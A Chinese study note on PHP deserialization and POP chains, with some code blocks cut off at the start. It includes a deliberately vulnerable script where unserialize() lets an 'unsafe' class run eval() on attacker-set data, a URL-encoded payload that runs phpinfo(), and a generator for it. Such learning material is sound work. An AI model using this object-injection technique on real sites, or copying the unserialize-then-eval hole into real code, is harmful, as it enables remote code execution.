php反序列化_3

smile师傅的帖子
这边主要是师傅给出的例子代码分析

//直接贴smile师傅里的东西了
__construct()当一个对象创建时被调用,但在unserialize()时是不会自动调用的。
__destruct()当一个对象销毁时被调用
__toString()当一个对象被当作一个字符串使用 
__sleep() 在对象在被序列化之前运行 
__wakeup将在序列化之后立即被调用

觉得师傅关于pop链写的挺通俗易懂的
具体分析师傅博客里都写了,我就不一直贴了,一直贴怪不好意思的。
这篇相当于一点笔记....

//smiletest.php
ClassObj = new safe();
        }

        function __destruct()
        {
            $this->ClassObj->action();
        }
    }


    class safe
    {
        
        function action()
        {
            echo "here is safe";
        }
    }

    class unsafe
    {
        private $data;
        function action()
        {
            eval($this->data);
        }
    }

    $b = "O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D";
    $c = unserialize(urldecode($b));
?>

这是存在漏洞的代码,方便测试,我把get获得序列化字符串换成了变量。
源payload的php我就不贴了,师傅的博客里有,执行下来获得的payload就是变量b的值了。可以执行phpinfo。
按照我的思路在payload上改了一下

//smileshell.php
ClassObj = new unsafe();
        // }
    }   

    class unsafe
    {
        private $data;
    }

    $a = new Smile();
    $a->ClassObj = new unsafe();
    $a->ClassObj->data = "phpinfo();";
    echo urlencode(serialize($a)).PHP_EOL;
    // O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
?>

欸,这里报错了,告诉我ClassObj无法访问。
这里可以看到访问控制,public,protected,private。
搜了搜,还真有一篇php的
访问控制,三个修饰符的区别
但是csdn,em...改了之后复制代码不舒服,于是比着这个师傅的代码自己写了一个测试

pub.PHP_EOL;
            echo $this->pro.PHP_EOL;
            echo $this->pri.PHP_EOL;            
        }
    }

    $a = new test();
    // echo $a->pub.PHP_EOL;
    // echo $a->pro.PHP_EOL;
    // echo $a->pri.PHP_EOL;
    $a->pub = "newpub";
    // $a->pro = "newpro";
    // $a->pri = "newpri";
    $a->printtest();
?>

实验一下就可以看出来,pro和pri外部无法访问,不能赋值,不能输出。pub都可以。应该还有更详细的区别,这里就实验到这里。
所以,在php反序列化赋值的时候
使用__construct魔术方法赋值的好处就是很稳妥,无论什么样的变量,都可以这样赋值。
而如果想在获取序列化字符串时,只在类中定义变量,而在外部赋值,可能就会出现无法访问变量的报错。
想把public改成protected...em....反序列化出来应该不行吧....试一试。
试了,⑧行,只要把代码改一改就行了,就不贴了。
这样就明白了为什么大佬的payload里面都是使用__construct赋值的

你可能感兴趣的:(php反序列化_3)